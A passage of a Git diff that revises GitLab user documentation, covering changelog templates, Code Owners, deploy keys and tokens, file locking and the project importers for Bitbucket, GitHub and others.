exclude commits. + +Commits for changelogs can be retrieved when operating on a mirror. GitLab itself +uses this feature, because security releases can include changes from both public +projects and private security mirrors. + +## Add a trailer to a Git commit + +You can add trailers manually when you write a commit message. To include a commit +using the default trailer of `Changelog` and categorize it as a feature, add the +string `Changelog: feature` to your commit message, like this: + +```plaintext +<Commit message subject> + +<Commit message description> + +Changelog: feature +``` + +## Create a changelog + +To generate changelog data based on commits in a repository, see +[Add changelog data to a changelog file](../../api/repositories.md#add-changelog-data-to-a-changelog-file) +in the API documentation. + +The changelog output is formatted in Markdown, and [you can customize it](#customize-the-changelog-output). + +### Reverted commits + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/55537) in GitLab 13.10. + +To be treated as a revert commit, the commit message must contain the string +`This reverts commit <SHA>`, where `SHA` is the SHA of the commit to be reverted. + +When generating a changelog for a range, GitLab ignores commits both added and +reverted in that range. In this example, commit C reverts commit B. Because +commit C has no other trailer, only commit A is added to the changelog: + +```mermaid +graph LR + A[Commit A<br>Changelog: changed] --> B[Commit B<br>Changelog: changed] + B --> C[Commit C<br>Reverts commit B] +``` + +However, if the revert commit (commit C) _also_ contains a changelog trailer, +both commits A and C are included in the changelog: + +```mermaid +graph LR + A[Commit A<br><br>Changelog: changed] --> B[Commit B<br><br>Changelog: changed] + B --> C[Commit C<br>Reverts commit B<br>Changelog: changed] +``` + +Commit B is skipped. + +### Customize the changelog output + +To customize the changelog output, edit the changelog configuration file. The default +location for this configuration is `.gitlab/changelog_config.yml`. The file supports +these variables: + +- `date_format`: The date format, in `strftime` format, used in the title of the newly added changelog data. +- `template`: A custom template to use when generating the changelog data. +- `include_groups`: A list of group full paths containing users whose contributions + should be credited regardless of project membership. The user generating the changelog + must have access to each group for credit to be given. +- `categories`: A hash that maps raw category names to the names to use in the changelog. + To alter the names displayed in the changelog, add these lines to your configuration file + and edit them to meet your needs. This example renders the category titles as + `### Features`, `### Bug fixes`, and `### Performance improvements`: + + ```yaml + --- + categories: + feature: Features + bug: Bug fixes + performance: Performance improvements + ``` + +### Custom templates + +Category sections are generated using a template. The default template: + +```plaintext +{% if categories %} +{% each categories %} +### {{ title }} ({% if single_change %}1 change{% else %}{{ count }} changes{% end %}) + +{% each entries %} +- [{{ title }}]({{ commit.reference }})\ +{% if author.credit %} by {{ author.reference }}{% end %}\ +{% if merge_request %} ([merge request]({{ merge_request.reference }})){% end %} + +{% end %} + +{% end %} +{% else %} +No changes. +{% end %} +``` + +The `{% ... %}` tags are for statements, and `{{ ... }}` is used for printing +data. Statements must be terminated using a `{% end %}` tag. Both the `if` and +`each` statements require a single argument. + +For example, for a variable called `valid`, you can display "yes" +when this value is true, and display "nope" otherwise by doing the following: + +```plaintext +{% if valid %} +yes +{% else %} +nope +{% end %} +``` + +The use of `else` is optional. A value is considered true when it's a non-empty +value or boolean `true`. Empty arrays and hashes are considered false. + +Looping is done using `each`, and variables inside a loop are scoped to it. +Referring to the current value in a loop is done using the variable tag +`{{ it }}`. Other variables read their value from the current loop value. Take +this template for example: + +```plaintext +{% each users %} +{{name}} +{% end %} +``` + +Assuming `users` is an array of objects, each with a `name` field, this would +then print the name of every user. + +Using variable tags, you can access nested objects. For example, +`{{ users.0.name }}` prints the name of the first user in the `users` variable. + +If a line ends in a backslash, the next newline is ignored. This allows you to +wrap code across multiple lines, without introducing unnecessary newlines in the +Markdown output. + +Tags that use `{%` and `%}` (known as expression tags) consume the newline that +directly follows them, if any. This means that this: + +```plaintext +--- +{% if foo %} +bar +{% end %} +--- +``` + +Compiles into this: + +```plaintext +--- +bar +--- +``` + +Instead of this: + +```plaintext +--- + +bar + +--- +``` + +You can specify a custom template in your configuration, like this: + +```yaml +--- +template: | + {% if categories %} + {% each categories %} + ### {{ title }} + + {% each entries %} + - [{{ title }}]({{ commit.reference }})\ + {% if author.credit %} by {{ author.reference }}{% end %} + + {% end %} + + {% end %} + {% else %} + No changes. + {% end %} +``` + +When specifying the template you should use `template: |` and not +`template: >`, as the latter doesn't preserve newlines in the template. + +### Template data + +At the top level, the following variable is available: + +- `categories`: an array of objects, one for every changelog category. + +In a category, the following variables are available: + +- `count`: the number of entries in this category. +- `entries`: the entries that belong to this category. +- `single_change`: a boolean that indicates if there is only one change (`true`), + or multiple changes (`false`). +- `title`: the title of the category (after it has been remapped). + +In an entry, the following variables are available (here `foo.bar` means that +`bar` is a sub-field of `foo`): + +- `author.contributor`: a boolean set to `true` when the author is not a project + member, otherwise `false`. +- `author.credit`: a boolean set to `true` when `author.contributor` is `true` or + when `include_groups` is configured, and the author is a member of one of the + groups. +- `author.reference`: a reference to the commit author (for example, `@alice`). +- `commit.reference`: a reference to the commit, for example, + `gitlab-org/gitlab@0a4cdd86ab31748ba6dac0f69a8653f206e5cfc7`. +- `commit.trailers`: an object containing all the Git trailers that were present + in the commit body. +- `merge_request.reference`: a reference to the merge request that first + introduced the change (for example, `gitlab-org/gitlab!50063`). +- `title`: the title of the changelog entry (this is the commit title). + +The `author` and `merge_request` objects might not be present if the data +couldn't be determined. For example, when a commit is created without a +corresponding merge request, no merge request is displayed. + +### Customize the tag format when extracting versions + +> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/56889) in GitLab 13.11. + +GitLab uses a regular expression (using the +[re2](https://github.com/google/re2/) engine and syntax) to extract a semantic +version from tag names. The default regular expression is: + +```plaintext +^v?(?P<major>0|[1-9]\d*)\.(?P<minor>0|[1-9]\d*)\.(?P<patch>0|[1-9]\d*)(?:-(?P<pre>(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*)(?:\.(?:0|[1-9]\d*|\d*[a-zA-Z-][0-9a-zA-Z-]*))*))?(?:\+(?P<meta>[0-9a-zA-Z-]+(?:\.[0-9a-zA-Z-]+)*))?$ +``` + +This regular expression is based on the official +[semantic versioning](https://semver.org/) regular expression, and also includes +support for tag names that start with the letter `v`. + +If your project uses a different format for tags, you can specify a different +regular expression. The regular expression used _must_ produce the following +capture groups. If any of these capture groups are missing, the tag is ignored: + +- `major` +- `minor` +- `patch` + +The following capture groups are optional: + +- `pre`: If set, the tag is ignored. Ignoring `pre` tags ensures release candidate + tags and other pre-release tags are not considered when determining the range of + commits to generate a changelog for. +- `meta`: Optional. Specifies build metadata. + +Using this information, GitLab builds a map of Git tags and their release +versions. It then determines what the latest tag is, based on the version +extracted from each tag. + +To specify a custom regular expression, use the `tag_regex` setting in your +changelog configuration YAML file. For example, this pattern matches tag names +such as `version-1.2.3` but not `version-1.2`. + +```yaml +--- +tag_regex: '^version-(?P<major>\d+)\.(?P<minor>\d+)\.(?P<patch>\d+)$' +``` + +To test if your regular expression is working, you can use websites such as +[regex101](https://regex101.com/). If the regular expression syntax is invalid, +an error is produced when generating a changelog. + +## Related topics + +- [Changelog-related endpoints](../../api/repositories.md) in the Repositories API. +- Developer documentation for [changelog entries](../../development/changelog.md) in GitLab. diff --git a/doc/user/project/clusters/add_gke_clusters.md b/doc/user/project/clusters/add_gke_clusters.md index 7b010bf4478..b1c5bbfc4f7 100644 --- a/doc/user/project/clusters/add_gke_clusters.md +++ b/doc/user/project/clusters/add_gke_clusters.md @@ -72,8 +72,8 @@ cluster certificates: - **Kubernetes cluster name** - The name you wish to give the cluster. - **Environment scope** - The [associated environment](multiple_kubernetes_clusters.md#setting-the-environment-scope) to this cluster. - **Google Cloud Platform project** - Choose the project you created in your GCP - console to host the Kubernetes cluster. Learn more about - [Google Cloud Platform projects](https://cloud.google.com/resource-manager/docs/creating-managing-projects). + console to host the Kubernetes cluster. For more information, see + [Creating and managing projects](https://cloud.google.com/resource-manager/docs/creating-managing-projects). - **Zone** - Choose the [region zone](https://cloud.google.com/compute/docs/regions-zones/) under which to create the cluster. - **Number of nodes** - Enter the number of nodes you wish the cluster to have. diff --git a/doc/user/project/clusters/add_remove_clusters.md b/doc/user/project/clusters/add_remove_clusters.md index 523a6fd65f6..d3048158958 100644 --- a/doc/user/project/clusters/add_remove_clusters.md +++ b/doc/user/project/clusters/add_remove_clusters.md @@ -29,7 +29,7 @@ When you successfully connect an existing cluster using cluster certificates, th > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/26815) in GitLab 12.6, you can remove cluster integrations and resources. When you remove a cluster integration, you only remove the cluster relationship -to GitLab, not the cluster. To remove the cluster itself, visit your cluster's +to GitLab, not the cluster. To remove the cluster itself, go to your cluster's GKE or EKS dashboard to do it from their UI or use `kubectl`. You need at least Maintainer [permissions](../../permissions.md) to your diff --git a/doc/user/project/clusters/deploy_to_cluster.md b/doc/user/project/clusters/deploy_to_cluster.md index 6e188a4923b..173f1f39a66 100644 --- a/doc/user/project/clusters/deploy_to_cluster.md +++ b/doc/user/project/clusters/deploy_to_cluster.md @@ -65,7 +65,7 @@ GitLab CI/CD build environment to deployment jobs. Deployment jobs have The Kubernetes integration provides a `KUBECONFIG` with an auto-generated namespace to deployment jobs. It defaults to using project-environment specific namespaces of the form `<prefix>-<environment>`, where `<prefix>` is of the form -`<project_name>-<project_id>`. To learn more, read [Deployment variables](#deployment-variables). +`<project_name>-<project_id>`. For more information, see [Deployment variables](#deployment-variables). You can customize the deployment namespace in a few ways: diff --git a/doc/user/project/code_intelligence.md b/doc/user/project/code_intelligence.md index d5f9c225cde..3fec38a61a0 100644 --- a/doc/user/project/code_intelligence.md +++ b/doc/user/project/code_intelligence.md @@ -43,7 +43,7 @@ code_navigation: The generated LSIF file size may be limited by the [artifact application limits (`ci_max_artifact_size_lsif`)](../../administration/instance_limits.md#maximum-file-size-per-type-of-artifact), -default to 100MB (configurable by an instance administrator). +default to 100 MB (configurable by an instance administrator). After the job succeeds, code intelligence data can be viewed while browsing the code: diff --git a/doc/user/project/code_owners.md b/doc/user/project/code_owners.md index 641dff2766e..9de9d445965 100644 --- a/doc/user/project/code_owners.md +++ b/doc/user/project/code_owners.md @@ -15,6 +15,15 @@ files or directories in a repository. - You can set your merge requests so they must be approved by Code Owners before merge. - You can protect a branch and allow only Code Owners to approve changes to the branch. +<div class="video-fallback"> + Video introduction: <a href="https://www.youtube.com/watch?v=RoyBySTUSB0">Code Owners</a>. +</div> +<figure class="video-container"> + <iframe src="https://www.youtube-nocookie.com/embed/RoyBySTUSB0" frameborder="0" allowfullscreen> </iframe> +</figure> + +<i class="fa fa-youtube-play youtube" aria-hidden="true"></i> + Use Code Owners and approvers together with [approval rules](merge_requests/approvals/rules.md) to build a flexible approval workflow: @@ -34,18 +43,25 @@ For example: | Code Owner approval rule | Frontend: Code Style | `*.css` files | A frontend engineer reviews CSS file changes for adherence to project style standards. | | Code Owner approval rule | Backend: Code Review | `*.rb` files | A backend engineer reviews the logic and code style of Ruby files. | -## Set up Code Owners +## Code Owners file -Create a `CODEOWNERS` file to specify users or [shared groups](members/share_project_with_groups.md) +A `CODEOWNERS` file (with no extension) can specify users or [shared groups](members/share_project_with_groups.md) that are responsible for specific files and directories in a repository. Each repository -can have a single `CODEOWNERS` file. To create it: +can have a single `CODEOWNERS` file, and it must be found one of these three locations: + +- In the root directory of the repository. +- In the `.gitlab/` directory. +- In the `docs/` directory. + +A CODEOWNERS file in any other location is ignored. + +## Set up Code Owners -1. Choose the location where you want to specify Code Owners: - - In the root directory of the repository - - In the `.gitlab/` directory - - In the `docs/` directory +1. Create a file named `CODEOWNERS` (with no extension) in one of these locations: -1. In that location, create a file named `CODEOWNERS`. +- In the root directory of the repository +- In the `.gitlab/` directory +- In the `docs/` directory 1. In the file, enter text that follows one of these patterns: @@ -154,7 +170,20 @@ README.md @user1 The Code Owner for `README.md` would be `@user2`. -If you use sections, the last user _for each section_ is used. +If you use sections, the last pattern matching the file for each section is used. +For example, in a `CODEOWNERS` file using sections: + +```plaintext +[README Owners] +README.md @user1 @user2 +internal/README.md @user4 + +[README other owners] +README.md @user3 +``` + +The Code Owners for the `README.md` in the root directory are `@user1`, `@user2`, +and `@user3`. The Code Owners for `internal/README.md` are `@user4` and `@user3`. Only one CODEOWNERS pattern can match per file path. diff --git a/doc/user/project/deploy_keys/index.md b/doc/user/project/deploy_keys/index.md index e87c5f57fc1..fc88535dc77 100644 --- a/doc/user/project/deploy_keys/index.md +++ b/doc/user/project/deploy_keys/index.md @@ -99,7 +99,7 @@ To create a public deploy key: 1. Select **New deploy key**. 1. Complete the fields. - Use a meaningful description for **Name**. For example, include the name of the external host - or application that will use the public deploy key. + or application that uses the public deploy key. You can modify only a public deploy key's name. @@ -148,7 +148,7 @@ What happens to the deploy key when it is disabled depends on the following: ### Deploy key cannot push to a protected branch -There are a few scenarios where a deploy key will fail to push to a +There are a few scenarios where a deploy key fails to push to a [protected branch](../protected_branches.md). - The owner associated to a deploy key does not have access to the protected branch. diff --git a/doc/user/project/deploy_tokens/index.md b/doc/user/project/deploy_tokens/index.md index 5f279ddda5b..cfb382d73e2 100644 --- a/doc/user/project/deploy_tokens/index.md +++ b/doc/user/project/deploy_tokens/index.md @@ -6,10 +6,7 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Deploy tokens **(FREE)** -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/issues/199370) from **Settings > Repository** to **Settings > CI/CD** in GitLab 12.9. -> - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/22743) `write_registry` scope in GitLab 12.10. -> - [Moved](https://gitlab.com/gitlab-org/gitlab/-/merge_requests/29280) from **Settings > CI/CD** to **Settings > Repository** in GitLab 12.10.1. -> - [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/213566) package registry scopes in GitLab 13.0. +> [Added](https://gitlab.com/gitlab-org/gitlab/-/issues/213566) package registry scopes in GitLab 13.0. You can use a deploy token to enable authentication of deployment tasks, independent of a user account. In most cases you use a deploy token from an external host, like a build server or CI/CD @@ -41,7 +38,9 @@ You can create deploy tokens at either the project or group level: By default, a deploy token does not expire. You can optionally set an expiry date when you create it. Expiry occurs at midnight UTC on that date. -Deploy tokens can't be used for Git operations and Package Registry operations if [external authorization](../../admin_area/settings/external_authorization.md) is enabled. +WARNING: +You cannot use new or existing deploy tokens for Git operations and Package Registry operations if +[external authorization](../../admin_area/settings/external_authorization.md) is enabled. ## Scope @@ -185,7 +184,7 @@ nuget source Add -Name GitLab -Source "https://gitlab.example.com/api/v4/project nuget install mypkg.nupkg ``` -## Push packages to a package repository +## Push packages to a package registry > [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/213566) in GitLab 13.0. diff --git a/doc/user/project/file_lock.md b/doc/user/project/file_lock.md index 6d0d444497e..8d3446994e8 100644 --- a/doc/user/project/file_lock.md +++ b/doc/user/project/file_lock.md @@ -10,7 +10,7 @@ Preventing wasted work caused by unresolvable merge conflicts requires a different way of working. This means explicitly requesting write permissions, and verifying no one else is editing the same file before you start. -Although branching strategies usually work well enough for source code and +Although branching strategies typically work well enough for source code and plain text because different versions can be merged together, they do not work for binary files. @@ -73,7 +73,7 @@ you can skip this step. If you're unsure, re-installing it does no harm: git lfs install ``` -Check this document to learn more about [using Git LFS](../../topics/git/lfs/index.md#using-git-lfs). +For more information, see [Using Git LFS](../../topics/git/lfs/index.md#using-git-lfs). ### Configure Exclusive File Locks @@ -209,7 +209,7 @@ requests that modify locked files. Unlock the file to allow changes. To lock a file: 1. Open the file or directory in GitLab. -1. On the top right, above the file, select **Lock**. +1. In the upper right, above the file, select **Lock**. 1. On the confirmation dialog box, select **OK**. If you do not have permission to lock the file, the button is not enabled. diff --git a/doc/user/project/highlighting.md b/doc/user/project/highlighting.md index 22ff234ac81..fbb6d1b329d 100644 --- a/doc/user/project/highlighting.md +++ b/doc/user/project/highlighting.md @@ -11,7 +11,7 @@ GitLab provides syntax highlighting on all files through [Highlight.js](https:// [Rouge](https://rubygems.org/gems/rouge) Ruby gem. It attempts to guess what language to use based on the file extension, which most of the time is sufficient. -The paths here are Git's built-in [`.gitattributes` interface](https://git-scm.com/docs/gitattributes). +The paths here use the [`.gitattributes` interface](https://git-scm.com/docs/gitattributes) in Git. NOTE: The [Web IDE](web_ide/index.md) and [Snippets](../snippets.md) use [Monaco Editor](https://microsoft.github.io/monaco-editor/) diff --git a/doc/ci/pipelines/img/pipelines_settings_badges.png b/doc/user/project/img/pipelines_settings_badges.png Binary files differindex 3bdc6374c15..3bdc6374c15 100644 --- a/doc/ci/pipelines/img/pipelines_settings_badges.png +++ b/doc/user/project/img/pipelines_settings_badges.png diff --git a/doc/user/project/import/bitbucket.md b/doc/user/project/import/bitbucket.md index 29d29c12536..7114974d8db 100644 --- a/doc/user/project/import/bitbucket.md +++ b/doc/user/project/import/bitbucket.md @@ -46,8 +46,8 @@ the user is not found in the GitLab database, the project creator (most of the t user that started the import process) is set as the author, but a reference on the issue about the original Bitbucket author is kept. -The importer will create any new namespaces (groups) if they don't exist or in -the case the namespace is taken, the repository will be imported under the user's +The importer creates any new namespaces (groups) if they don't exist or in +the case the namespace is taken, the repository is imported under the user's namespace that started the import process. ## Requirements for user-mapped contributions @@ -65,6 +65,8 @@ For user contributions to be mapped, each user must complete the following befor ## Import your Bitbucket repositories +> Ability to re-import projects [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23905) in GitLab 15.9. + 1. Sign in to GitLab. 1. On the top bar, select **New** (**{plus}**). 1. Select **New project/repository**. @@ -76,9 +78,11 @@ For user contributions to be mapped, each user must complete the following befor 1. Select the projects that you'd like to import or import all projects. You can filter projects by name and select the namespace - each project will be imported for. + each project is imported for. -  +1. To import a project: + - For the first time: Select **Import**. + - Again: Select **Re-import**. Specify a new name and select **Re-import** again. Re-importing creates a new copy of the source project. ## Troubleshooting diff --git a/doc/user/project/import/bitbucket_server.md b/doc/user/project/import/bitbucket_server.md index db2a1d956ab..e6d2e3e00b6 100644 --- a/doc/user/project/import/bitbucket_server.md +++ b/doc/user/project/import/bitbucket_server.md @@ -24,6 +24,8 @@ created as private in GitLab as well. ## Import your Bitbucket repositories +> Ability to re-import projects [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23905) in GitLab 15.9. + Prerequisites: - An administrator must enable **Bitbucket Server** in **Admin > Settings > General > Visibility and access controls > Import sources**. @@ -40,6 +42,9 @@ To import your Bitbucket repositories: 1. Log in to Bitbucket and grant GitLab access to your Bitbucket account. 1. Select the projects to import, or import all projects. You can filter projects by name and select the namespace for which to import each project. +1. To import a project: + - For the first time: Select **Import**. + - Again: Select **Re-import**. Specify a new name and select **Re-import** again. Re-importing creates a new copy of the source project. ### Items that are not imported diff --git a/doc/user/project/import/cvs.md b/doc/user/project/import/cvs.md index f8bbb2354fe..00aebb75a50 100644 --- a/doc/user/project/import/cvs.md +++ b/doc/user/project/import/cvs.md @@ -54,7 +54,7 @@ Wikipedia article on [comparing the different version control software](https:// CVS is old with no new release since 2008. Git provides more tools to work with (`git bisect` for one) which makes for a more productive workflow. -Migrating to Git/GitLab will benefit you: +Migrating to Git/GitLab benefits you: - **Shorter learning curve**, Git has a big community and a vast number of tutorials to get you started (see our [Git topic](../../../topics/git/index.md)). diff --git a/doc/user/project/import/fogbugz.md b/doc/user/project/import/fogbugz.md index 08ee4c70dda..d9e03662434 100644 --- a/doc/user/project/import/fogbugz.md +++ b/doc/user/project/import/fogbugz.md @@ -7,6 +7,8 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Import your project from FogBugz to GitLab **(FREE)** +> Ability to re-import projects [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23905) in GitLab 15.9. + Using the importer, you can import your FogBugz project to GitLab.com or to your self-managed GitLab instance. @@ -33,4 +35,6 @@ To import your project from FogBugz:  1. After the import finishes, select the link to go to the project dashboard. Follow the directions to push your existing repository. -  +1. To import a project: + - For the first time: Select **Import**. + - Again: Select **Re-import**. Specify a new name and select **Re-import** again. Re-importing creates a new copy of the source project. diff --git a/doc/user/project/import/gitea.md b/doc/user/project/import/gitea.md index fb64c902b38..404bb4c8600 100644 --- a/doc/user/project/import/gitea.md +++ b/doc/user/project/import/gitea.md @@ -70,8 +70,8 @@ From there, you can view the import statuses of your Gitea repositories: - Those that are being imported show a _started_ status. - Those already successfully imported are green with a _done_ status. -- Those that aren't yet imported have an **Import** button on the - right side of the table. +- Those that aren't yet imported have **Import** on the right side of the table. +- Those that are already imported have **Re-import** on the right side of the table. You also can: diff --git a/doc/user/project/import/github.md b/doc/user/project/import/github.md index da3637541d9..9298dab6f64 100644 --- a/doc/user/project/import/github.md +++ b/doc/user/project/import/github.md @@ -7,14 +7,11 @@ info: To determine the technical writer assigned to the Stage/Group associated w # Import your project from GitHub to GitLab **(FREE)** -> [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381902) in GitLab 15.8, GitLab no longer automatically creates namespaces or groups that don't exist. GitLab also no longer falls back to using the user's personal namespace if the namespace or group name is taken. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/381902) in GitLab 15.8, GitLab no longer automatically creates namespaces or groups that don't exist. GitLab also no longer falls back to using the user's personal namespace if the namespace or group name is taken. +> - [Introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/378267) in GitLab 15.9, GitLab instances behind proxies no longer require `github.com` and `api.github.com` entries in the [allowlist for local requests](../../../security/webhooks.md#create-an-allowlist-for-local-requests). -You can import your GitHub repositories: - -- From either GitHub.com or GitHub Enterprise. -- To either GitLab.com or a self-managed GitLab instance. - -This process does not migrate or import any types of groups or organizations from GitHub to GitLab. +You can import your GitHub projects from either GitHub.com or GitHub Enterprise. Importing projects does not +migrate or import any types of groups or organizations from GitHub to GitLab. The namespace is a user or group in GitLab, such as `gitlab.com/sidney-jones` or `gitlab.com/customer-success`. You can use bulk actions in the rails console to move projects to @@ -24,22 +21,6 @@ If you are importing to a self-managed GitLab instance, you can use the [GitHub Rake task](../../../administration/raketasks/github_import.md) instead. This allows you to import projects without the constraints of a [Sidekiq](../../../development/sidekiq/index.md) worker. -NOTE: -If you are importing a project using the GitHub Rake task, GitLab still creates namespaces or groups that don't exist. - -If you are importing from GitHub Enterprise to a self-managed GitLab instance: - -- You must first enable [GitHub integration](../../../integration/github.md). -- To import projects from GitHub Enterprise to GitLab.com, use the [Import API](../../../api/import.md). -- If GitLab is behind a HTTP/HTTPS proxy, you must populate the [allowlist for local requests](../../../security/webhooks.md#create-an-allowlist-for-local-requests) - with `github.com` and `api.github.com` to solve the hostname. For more information, read the issue - [Importing a GitHub project requires DNS resolution even when behind a proxy](https://gitlab.com/gitlab-org/gitlab/-/issues/37941). - -If you are importing from GitHub.com to a self-managed GitLab instance: - -- Setting up GitHub integration is not required. -- You can use the [Import API](../../../api/import.md). - When importing projects: - If a user referenced in the project is not found in the GitLab database, the project creator is set as the author and @@ -57,24 +38,41 @@ For an overview of the import process, see the video [Migrating from GitHub to G ## Prerequisites -At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was -[deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. +To import projects from GitHub: + +- You must have at least the Maintainer role on the destination group to import to. Using the Developer role for this + purpose was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in + GitLab 16.0. +- Each GitHub author and assignee in the repository must have a + [public-facing email address](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address) + on GitHub that matches their GitLab email address (regardless of how the account was created). If their email address + from GitHub is set as their secondary email address in GitLab, they must confirm it. + + When issues and pull requests are being imported, the importer attempts to find their GitHub authors and assignees in + the database of the GitLab instance. Pull requests are called _merge requests_ in GitLab. For the importer to succeed, + matching email addresses are required. +- GitHub accounts must have a GitHub public-facing email address is populated. This means all comments and contributions + are properly mapped to the same user in GitLab. GitHub Enterprise does not require this field to be populated so you + may have to add it on existing accounts. -When issues and pull requests are being imported, the importer attempts to find -their GitHub authors and assignees in the database of the GitLab instance. Pull requests are called _merge requests_ in -GitLab. +See also [Branch protection rules and project settings](#branch-protection-rules-and-project-settings) for additional +prerequisites for those imports. -For this association to succeed, each GitHub author and assignee in the repository -must have a [public-facing email address](https://docs.github.com/en/account-and-profile/setting-up-and-managing-your-personal-account-on-github/managing-email-preferences/setting-your-commit-email-address) -on GitHub that matches their GitLab email address (regardless of how the account was created). -If their email address from GitHub is set as their secondary email address in GitLab, it must be -confirmed. +### Importing from GitHub Enterprise to self-managed GitLab + +If you are importing from GitHub Enterprise to a self-managed GitLab instance: -GitLab content imports that use GitHub accounts require that the GitHub public-facing email address is populated. This means -all comments and contributions are properly mapped to the same user in GitLab. GitHub Enterprise does not require this -field to be populated so you may have to add it on existing accounts. +- You must first enable the [GitHub integration](../../../integration/github.md). +- For GitLab 15.8 and earlier, you must add `github.com` and `api.github.com` entries in the + [allowlist for local requests](../../../security/webhooks.md#create-an-allowlist-for-local-requests). -See also [Branch protection rules and project settings](#branch-protection-rules-and-project-settings) for additional prerequisites for those imports. +### Importing from GitHub.com to self-managed GitLab + +If you are importing from GitHub.com to a self-managed GitLab instance: + +- You don't need to enable the [GitHub integration](../../../integration/github.md). +- GitHub must be enabled as an import source in the + [Admin Area](../../admin_area/settings/visibility_and_access_controls.md#configure-allowed-import-sources). ## Import your GitHub repository into GitLab @@ -145,7 +143,8 @@ You can choose to import these items, but this could significantly increase impo ### Select which repositories to import -> Ability to cancel pending or active imports [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247325) in GitLab 15.7. +> - Ability to cancel pending or active imports [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/247325) in GitLab 15.7. +> - Ability to re-import projects [introduced](https://gitlab.com/gitlab-org/gitlab/-/issues/23905) in GitLab 15.9. After you have authorized access to your GitHub repositories, you are redirected to the GitHub importer page and your GitHub repositories are listed. @@ -167,6 +166,8 @@ If the import has already started, the imported files are kept. To open an repository in GitLab URL after it has been imported, select its GitLab path. +Completed imports can be re-imported by selecting **Re-import** and specifying new name. This creates a new copy of the source project. +  ## Mirror a repository and share pipeline status **(PREMIUM)** diff --git a/doc/user/project/import/index.md b/doc/user/project/import/index.md index 3df6a543960..24748b2e89c 100644 --- a/doc/user/project/import/index.md +++ b/doc/user/project/import/index.md @@ -17,20 +17,22 @@ If you want to bring existing projects to GitLab or copy GitLab projects to a di Prerequisite: -- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. +- At least the Maintainer role on the destination group to import to. Using the Developer role for this purpose was + [deprecated](https://gitlab.com/gitlab-org/gitlab/-/issues/387891) in GitLab 15.8 and will be removed in GitLab 16.0. For any type of source and target, you can migrate GitLab projects: -- When [migrating groups by direct transfer](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended), which allows you to migrate all - projects in a group at once. Migrating projects by direct transfer is in [Beta](../../../policy/alpha-beta-support.md#beta-features). The feature is not ready - for production use. +- When [migrating groups by direct transfer](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended), + which allows you to migrate all projects in a group simultaneously. Migrating projects by direct transfer is in + [Beta](../../../policy/alpha-beta-support.md#beta-features). The feature is not ready for production use. - Using [file exports](../settings/import_export.md). With this method you can migrate projects one by one. No network connection between instances is required. If you only need to migrate Git repositories, you can [import each project by URL](repo_by_url.md). However, you can't import issues and merge requests this way. To retain metadata like issues and merge requests, either: -- [Migrate projects with groups by direct transfer](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended). This feature is in [Beta](../../../policy/alpha-beta-support.md#beta-features). It is not ready for production use. +- [Migrate projects with groups by direct transfer](../../group/import/index.md#migrate-groups-by-direct-transfer-recommended). + This feature is in [Beta](../../../policy/alpha-beta-support.md#beta-features). It is not ready for production use. - Use [file exports](../settings/import_export.md) to import projects. Keep in mind the limitations of [migrating using file exports](../settings/import_export.md#items-that-are-exported). @@ -47,17 +49,15 @@ You can import projects from: - [CVS](cvs.md) - [FogBugz](fogbugz.md) - [GitHub.com or GitHub Enterprise](github.md) -- [GitLab.com](gitlab_com.md) - [Gitea](gitea.md) - [Perforce](perforce.md) - [TFVC](tfvc.md) - [Repository by URL](repo_by_url.md) -- [Uloading a manifest file (AOSP)](manifest.md) -- [Phabricator](phabricator.md) +- [Uploading a manifest file (AOSP)](manifest.md) - [Jira (issues only)](jira.md) -You can also import any Git repository through HTTP from the **New Project** page. Note that if the -repository is too large, the import can timeout. +You can also import any Git repository through HTTP from the **New Project** page. If the repository +is too large, the import can timeout. You can then [connect your external repository to get CI/CD benefits](../../../ci/ci_cd_for_external_repos/index.md). @@ -70,7 +70,7 @@ GitLab can not automatically migrate Subversion repositories to Git. Converting ## Migrate using the API -To migrate all data from self-managed to GitLab.com, you can leverage the [API](../../../api/index.md). +To migrate all data from self-managed to GitLab.com, you can leverage the [API](../../../api/rest/index.md). Migrate the assets in this order: 1. [Groups](../../../api/groups.md) @@ -91,7 +91,7 @@ The backups produced don't depend on the operating system running GitLab. You ca the restore method to switch between different operating system distributions or versions, as long as the same GitLab version [is available for installation](../../../administration/package_information/supported_os.md). -Also note that administrators can use the [Users API](../../../api/users.md) to migrate users. +Administrators can use the [Users API](../../../api/users.md) to migrate users. ## View project import history @@ -119,7 +119,7 @@ to create a new project from a template. ## LFS authentication -When importing a project that contains LFS objects, if the project has an [`.lfsconfig`](https://github.com/git-lfs/git-lfs/blob/master/docs/man/git-lfs-config.5.ronn) +When importing a project that contains LFS objects, if the project has an [`.lfsconfig`](https://github.com/git-lfs/git-lfs/blob/main/docs/man/git-lfs-config.adoc) file with a URL host (`lfs.url`) different from the repository URL host, LFS files are not downloaded. ## Project aliases **(PREMIUM SELF)** diff --git a/doc/user/project/import/manifest.md b/doc/user/project/import/manifest.md index c125102b0c9..514a6a0cb5a 100644 --- a/doc/user/project/import/manifest.md 